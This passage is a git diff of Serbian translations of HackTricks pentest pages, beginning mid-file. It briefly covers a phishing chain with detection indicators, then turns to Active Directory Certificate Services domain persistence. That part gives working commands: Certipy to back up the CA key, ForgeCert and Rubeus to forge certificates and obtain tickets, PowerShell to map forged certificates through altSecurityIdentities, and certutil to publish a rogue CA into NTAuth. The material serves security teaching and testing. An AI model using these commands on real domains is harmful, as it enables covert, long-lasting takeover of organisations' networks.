*.herokuapp.com) i može uslovljavati payloads (servira benign ZIPs bazirano na IP/UA). -- Sledeća faza često dekriptuje base64/XOR shellcode i izvršava ga putem Reflection.Emit + VirtualAlloc kako bi se minimizovali artefakti na disku. +- Dostava često zloupotrebljava ugledne PaaS poddomene (npr. *.herokuapp.com) i može ograničiti payloads (poslužiti benigni ZIP prema IP/UA). +- Sledeća faza često dešifruje base64/XOR shellcode i izvršava ga putem Reflection.Emit + VirtualAlloc kako bi smanjila tragove na disku. -Persistence korišćena u istom lancu -- COM TypeLib hijacking of the Microsoft Web Browser control tako da IE/Explorer ili bilo koja aplikacija koja ga ugrađuje ponovo automatski pokreće payload. See details and ready-to-use commands here: +Persistence korišćen u istom lancu +- COM TypeLib hijacking of the Microsoft Web Browser control tako da IE/Explorer ili bilo koja app koja ga ugradi ponovo automatski pokrene payload. Pogledajte detalje i gotove komande ovde: {{#ref}} ../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md @@ -203,11 +201,20 @@ Persistence korišćena u istom lancu Hunting/IOCs - ZIP fajlovi koji sadrže ASCII marker string (npr. xFIQCV) dodat na podatke arhive. -- .lnk koji enumeriše parent/user foldere da pronađe ZIP i otvara decoy dokument. -- AMSI manipulacija putem [System.Management.Automation.AmsiUtils]::amsiInitFailed. -- Dugotrajne poslovne konverzacije koje se završavaju linkovima hostovanim na pouzdanim PaaS domenima. +- .lnk koji pretražuje parent/user foldere da locira ZIP i otvori lažni dokument. +- AMSI tampering via [System.Management.Automation.AmsiUtils]::amsiInitFailed. +- Dugotrajni business threads koji se završavaju linkovima hostovanim na pouzdanim PaaS domenima. -## References +## Windows fajlovi za krađu NTLM hashes + +Proverite stranicu o **mestima za krađu NTLM creds**: + +{{#ref}} +../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md +{{#endref}} + + +## Reference - [Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/) - [Hijack the TypeLib – New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661) diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md index b9f7f30e2..905e42b5e 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md @@ -1,27 +1,27 @@ -# AD CS Perzistencija u domenu +# AD CS Domain Persistence {{#include ../../../banners/hacktricks-training.md}} -**Ovo je sažetak tehnika perzistencije u domenu podeljenih u [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)**. Proverite taj izvor za dodatne detalje. +**Ovo je sažetak tehnika perzistencije u domenu iz [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)**. Pogledajte ga za više detalja. -## Lažiranje sertifikata sa ukradenim CA sertifikatima - DPERSIST1 +## Forging Certificates with Stolen CA Certificates - DPERSIST1 -Kako možete da utvrdite da je sertifikat CA sertifikat? +How can you tell that a certificate is a CA certificate? -Može se utvrditi da je sertifikat CA sertifikat ako su ispunjeni sledeći uslovi: +It can be determined that a certificate is a CA certificate if several conditions are met: -- Sertifikat je uskladišten na CA serveru, a njegov privatni ključ je zaštićen mašinskim DPAPI-jem ili hardverom poput TPM/HSM ako operativni sistem to podržava. -- Polja Issuer i Subject sertifikata se poklapaju sa distinguished name-om CA. +- Sertifikat je smešten na CA serveru, a njegov privatni ključ je zaštićen DPAPI-jem mašine, ili hardverom kao što su TPM/HSM ako operativni sistem to podržava. +- Polja Issuer i Subject sertifikata se poklapaju sa distinguished name CA. - Ekstenzija "CA Version" prisutna je isključivo u CA sertifikatima. -- Sertifikat nema polja Extended Key Usage (EKU). +- Sertifikat nema Extended Key Usage (EKU) polja. -Za izvlačenje privatnog ključa ovog sertifikata, alat `certsrv.msc` na CA serveru je podržana metoda putem ugrađenog GUI-ja. Ipak, ovaj sertifikat se ne razlikuje od ostalih pohranjenih u sistemu; stoga se za ekstrakciju mogu primeniti metode kao što je [THEFT2 technique](certificate-theft.md#user-certificate-theft-via-dpapi-theft2). +Za ekstrakciju privatnog ključa ovog sertifikata, podržani metod je korišćenje alata certsrv.msc na CA serveru putem ugrađenog GUI-ja. Ipak, ovaj sertifikat se ne razlikuje od ostalih koji su pohranjeni u sistemu; stoga se mogu primeniti metode kao što je [THEFT2 technique](certificate-theft.md#user-certificate-theft-via-dpapi-theft2) za ekstrakciju. -Sertifikat i privatni ključ se takođe mogu dobiti korišćenjem Certipy pomoću sledeće naredbe: +Sertifikat i privatni ključ se takođe mogu dobiti pomoću Certipy sa sledećom naredbom: ```bash certipy ca 'corp.local/administrator@ca.corp.local' -hashes :123123.. -backup ``` -Po pribavljanju CA sertifikata i njegovog privatnog ključa u `.pfx` formatu, alati poput [ForgeCert](https://github.com/GhostPack/ForgeCert) mogu se koristiti za generisanje validnih sertifikata: +Nakon pribavljanja CA sertifikata i njegovog privatnog ključa u `.pfx` formatu, alati poput [ForgeCert](https://github.com/GhostPack/ForgeCert) mogu se iskoristiti za generisanje važećih sertifikata: ```bash # Generating a new certificate with ForgeCert ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123! --Subject "CN=User" --SubjectAltName localadmin@theshire.local --NewCertPath localadmin.pfx --NewCertPassword Password123! @@ -36,19 +36,19 @@ Rubeus.exe asktgt /user:localdomain /certificate:C:\ForgeCert\localadmin.pfx /pa certipy auth -pfx administrator_forged.pfx -dc-ip 172.16.126.128 ``` > [!WARNING] -> Korisnik kome je cilj falsifikovanje sertifikata mora biti aktivan i sposoban da se autentifikuje u Active Directory-ju da bi proces uspeo. Falsifikovanje sertifikata za specijalne naloge kao što je krbtgt nije efikasno. +> Korisnik koji je meta falsifikovanja sertifikata mora biti aktivan i sposoban da se autentifikuje u Active Directory da bi proces uspeo. Falsifikovanje sertifikata za specijalne naloge kao što je krbtgt je neefikasno. -Ovaj falsifikovani sertifikat će biti **važeći** do navedenog datuma isteka i sve dok je korenski CA sertifikat **važeći** (obično od 5 do **10+ godina**). Takođe važi za **mašine**, pa u kombinaciji sa **S4U2Self**, napadač može **održavati persistenciju na bilo kojoj mašini u domenu** sve dok CA sertifikat važi.\ +Ovaj falsifikovani sertifikat će biti **važeći** do datuma isteka navedenog i sve dok root CA sertifikat bude važeći (obično od 5 do **10+ godina**). Takođe je važeći za **mašine**, pa u kombinaciji sa **S4U2Self**, napadač može **održavati persistence na bilo kojoj mašini u domenu** sve dok je CA sertifikat važeći.\ Štaviše, **sertifikati generisani** ovom metodom **ne mogu biti opozvani** jer CA za njih nije svestan. ### Rad pod Strong Certificate Mapping Enforcement (2025+) -Od 11. februara 2025. (posle roll-out-a KB5014754), kontroleri domena podrazumevano koriste **Full Enforcement** za mapiranja sertifikata. U praksi to znači da vaši falsifikovani sertifikati moraju ili: +Since February 11, 2025 (after KB5014754 rollout), domain controllers default to **Full Enforcement** for certificate mappings. Practically this means your forged certificates must either: -- Sadržati snažnu vezu sa ciljnim nalogom (na primer, SID security extension), ili -- Biti upareni sa jakim, eksplicitnim mapiranjem na atributu ciljnog objekta `altSecurityIdentities`. +- Sadržati snažnu vezu sa ciljnim nalogom (na primer, the SID security extension), ili +- Biti upareni sa snažnim, eksplicitnim mapiranjem na `altSecurityIdentities` atributu ciljnog objekta. -Pouzdan pristup za održavanje persistencije je da se izda falsifikovani sertifikat povezan sa ukradenim Enterprise CA i zatim doda snažno eksplicitno mapiranje na žrtvinom principal-u: +A reliable approach for persistence is to mint a forged certificate chained to the stolen Enterprise CA and then add a strong explicit mapping to the victim principal: ```powershell # Example: map a forged cert to a target account using Issuer+Serial (strong mapping) $Issuer = 'DC=corp,DC=local,CN=CORP-DC-CA' # reverse DN format expected by AD @@ -57,14 +57,15 @@ $Map = "X509:$Issuer$SerialR" # strong mapping format Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map} ``` Napomene -- Ako možete kreirati forged certificates koji uključuju SID security extension, oni će se mapirati implicitno čak i pod Full Enforcement. U suprotnom, preferirajte eksplicitna snažna mapiranja. See [account-persistence](account-persistence.md) for more on explicit mappings. -- Opoziv ovde ne pomaže braniteljima: forged certificates nisu poznati CA database i stoga ih nije moguće opozvati. +- If you can craft forged certificates that include the SID security extension, those will map implicitly even under Full Enforcement. Otherwise, prefer explicit strong mappings. See +[account-persistence](account-persistence.md) for more on explicit mappings. +- Revocation does not help defenders here: forged certificates are unknown to the CA database and thus cannot be revoked. ## Trusting Rogue CA Certificates - DPERSIST2 -Objekat `NTAuthCertificates` je definisan da sadrži jedan ili više **CA certificates** u okviru svog `cacertificate` atributa, koji koristi Active Directory (AD). Proces verifikacije od strane **domain controller** uključuje proveru objekta `NTAuthCertificates` da li postoji unos koji odgovara **CA specified** u polju Issuer autentifikacione **certificate**. Autentifikacija se nastavlja ako se nađe podudaranje. +The `NTAuthCertificates` object is defined to contain one or more **CA certificates** within its `cacertificate` attribute, which Active Directory (AD) utilizes. The verification process by the **domain controller** involves checking the `NTAuthCertificates` object for an entry matching the **CA specified** in the Issuer field of the authenticating **certificate**. Authentication proceeds if a match is found. -Napadač može dodati self-signed CA certificate u objekat `NTAuthCertificates`, pod uslovom da ima kontrolu nad ovim AD objektom. Obično samo članovi grupe **Enterprise Admin**, zajedno sa **Domain Admins** ili **Administrators** u **forest root’s domain**, imaju dozvolu da modifikuju ovaj objekat. Mogu izmeniti objekat `NTAuthCertificates` koristeći `certutil.exe` komandom `certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA`, ili koristeći [**PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool). +A self-signed CA certificate can be added to the `NTAuthCertificates` object by an attacker, provided they have control over this AD object. Normally, only members of the **Enterprise Admin** group, along with **Domain Admins** or **Administrators** in the **forest root’s domain**, are granted permission to modify this object. They can edit the `NTAuthCertificates` object using `certutil.exe` with the command `certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA`, or by employing the [**PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool). Additional helpful commands for this technique: ```bash @@ -77,34 +78,34 @@ certutil -enterprise -delstore NTAuth certutil -dspublish -f C:\Temp\CERT.crt RootCA # CN=Certification Authorities certutil -dspublish -f C:\Temp\CERT.crt CA # CN=AIA ``` -Ova mogućnost je posebno relevantna kada se koristi zajedno sa ranije opisanim metodom koja uključuje ForgeCert za dinamičko generisanje sertifikata. +Ova mogućnost je posebno relevantna kada se koristi zajedno sa prethodno opisanom metodom koja uključuje ForgeCert za dinamičko generisanje sertifikata. > Post-2025 mapping considerations: placing a rogue CA in NTAuth only establishes trust in the issuing CA. To use leaf certificates for logon when DCs are in **Full Enforcement**, the leaf must either contain the SID security extension or there must be a strong explicit mapping on the target object (for example, Issuer+Serial in `altSecurityIdentities`). See {{#ref}}account-persistence.md{{#endref}}. -## Malicious Misconfiguration - DPERSIST3 +## Maliciozna pogrešna konfiguracija - DPERSIST3 -Mogućnosti za **persistence** putem **izmena security descriptor-a komponenti AD CS** su brojne. Izmene opisane u "[Domain Escalation](domain-escalation.md)" sekciji mogu biti zlonamerno sprovedene od strane napadača sa povišenim privilegijama. To uključuje dodavanje "control rights" (npr. `WriteOwner`/`WriteDACL`/itd.) osetljivim komponentama kao što su: +Mogućnosti za **persistence** kroz izmene security descriptor-a AD CS komponenti su brojne. Izmene opisane u sekciji [Eskalacija domena](domain-escalation.md) mogu biti zlonamerno implementirane od strane napadača sa povišenim privilegijama. To uključuje dodavanje "control rights" (npr. `WriteOwner`/`WriteDACL`/itd.) osetljivim komponentama kao što su: -- The **CA server’s AD computer** object -- The **CA server’s RPC/DCOM server** -- Any **descendant AD object or container** in **`CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=`** (for instance, the Certificate Templates container, Certification Authorities container, the NTAuthCertificates object, etc.) -- **AD groups delegated rights to control AD CS** by default or by the organization (such as the built-in Cert Publishers group and any of its members) +- **AD computer objekat CA servera** +- **RPC/DCOM server CA servera** +- Bilo koji **descendant AD object or container** u **`CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=`** (na primer, Certificate Templates container, Certification Authorities container, the `NTAuthCertificates` object, itd.) +- **AD grupe kojima su dodeljena prava za kontrolu AD CS** po defaultu ili od strane organizacije (kao što je ugrađena Cert Publishers grupa i bilo koji od njenih članova) -Primer zlonamerne implementacije bi uključivao napadača koji ima **povišene dozvole** u domenu i dodaje `WriteOwner` dozvolu na podrazumevani `User` certificate template, pri čemu je napadač subjekt za to pravo. Da bi iskoristio ovo, napadač bi prvo promenio ownership `User` template-a na sebe. Nakon toga, `mspki-certificate-name-flag` bi bio postavljen na **1** na template-u da omogući `ENROLLEE_SUPPLIES_SUBJECT`, dopuštajući korisniku da u zahtevu navede Subject Alternative Name. Zatim bi se napadač mogao **enroll-ovati** koristeći taj **template**, izabrati ime **domain administrator-a** kao alternativno ime, i iskoristiti dobijeni sertifikat za autentifikaciju kao DA. +Primer zlonamerne implementacije bi uključivao napadača koji ima **elevated permissions** u domeni i dodaje dozvolu **`WriteOwner`** na podrazumevani `User` certificate template, sa napadačem postavljenim kao principal za to pravo. Da bi iskoristio ovo, napadač bi prvo promenio ownership `User` template-a na sebe. Nakon toga, `mspki-certificate-name-flag` bi bio postavljen na **1** na template-u da omogući **`ENROLLEE_SUPPLIES_SUBJECT`**, što dozvoljava korisniku da navede Subject Alternative Name u zahtevu. Zatim bi napadač mogao da se **enroll**-uje koristeći taj **template**, izabere ime domain administrator-a kao alternativni naziv i iskoristi pribavljeni sertifikat za autentifikaciju kao DA. -Praktični parametri koje napadači mogu podesiti za dugoročnu persistenciju u domenu (vidi {{#ref}}domain-escalation.md{{#endref}} za kompletne detalje i detekciju): +Praktične postavke koje napadači mogu podesiti za dugoročnu persistence u domenu (pogledajte {{#ref}}domain-escalation.md{{#endref}} za potpune detalje i detekciju): -- CA policy flags koji dozvoljavaju SAN iz zahteva (npr. omogućavanje `EDITF_ATTRIBUTESUBJECTALTNAME2`). Ovo održava exploitable putanje slične ESC1. -- Template DACL ili podešavanja koja dopuštaju izdavanje sposobno za autentifikaciju (npr. dodavanje Client Authentication EKU, omogućavanje `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`). -- Kontrolisanje `NTAuthCertificates` objekta ili CA container-a da kontinuirano vrate rogue issuere ako branioci pokušaju čišćenje. +- CA policy flags koje dozvoljavaju SAN iz zahtevaoca (npr. omogućavanje `EDITF_ATTRIBUTESUBJECTALTNAME2`). Ovo ostavlja ESC1-like puteve iskoristivim. +- Template DACL ili podešavanja koja omogućavaju izdavanje sposobno za autentifikaciju (npr. dodavanje Client Authentication EKU, omogućavanje `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`). +- Kontrolisanje `NTAuthCertificates` objekta ili CA kontejnera kako bi se kontinuirano ponovo uvozili rogue issuers ako branitelji pokušaju čišćenje. > [!TIP] -> U ojačanim okruženjima nakon KB5014754, udruživanje ovih pogrešnih konfiguracija sa eksplicitnim jakim mapiranjima (`altSecurityIdentities`) osigurava da vaši izdata ili falsifikovani sertifikati ostanu upotrebljivi čak i kada DC-ovi primenjuju strong mapping. +> U hardened okruženjima nakon KB5014754, kombinovanje ovih pogrešnih konfiguracija sa eksplicitnim snažnim mapiranjima (`altSecurityIdentities`) osigurava da vaši izdate ili falsifikovani sertifikati ostanu upotrebljivi čak i kada DC-ovi primenjuju strong mapping. ## References -- Microsoft KB5014754 – Certificate-based authentication changes on Windows domain controllers (enforcement timeline and strong mappings). https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16 -- Certipy – Command Reference and forge/auth usage. https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference +- Microsoft KB5014754 – Promene u autentifikaciji zasnovanoj na sertifikatima na Windows domain controller-ima (vremenski okvir primene i strong mappings). https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16 +- Certipy – Komandni priručnik i upotreba forge/auth. https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference {{#include ../../../banners/hacktricks-training.md}}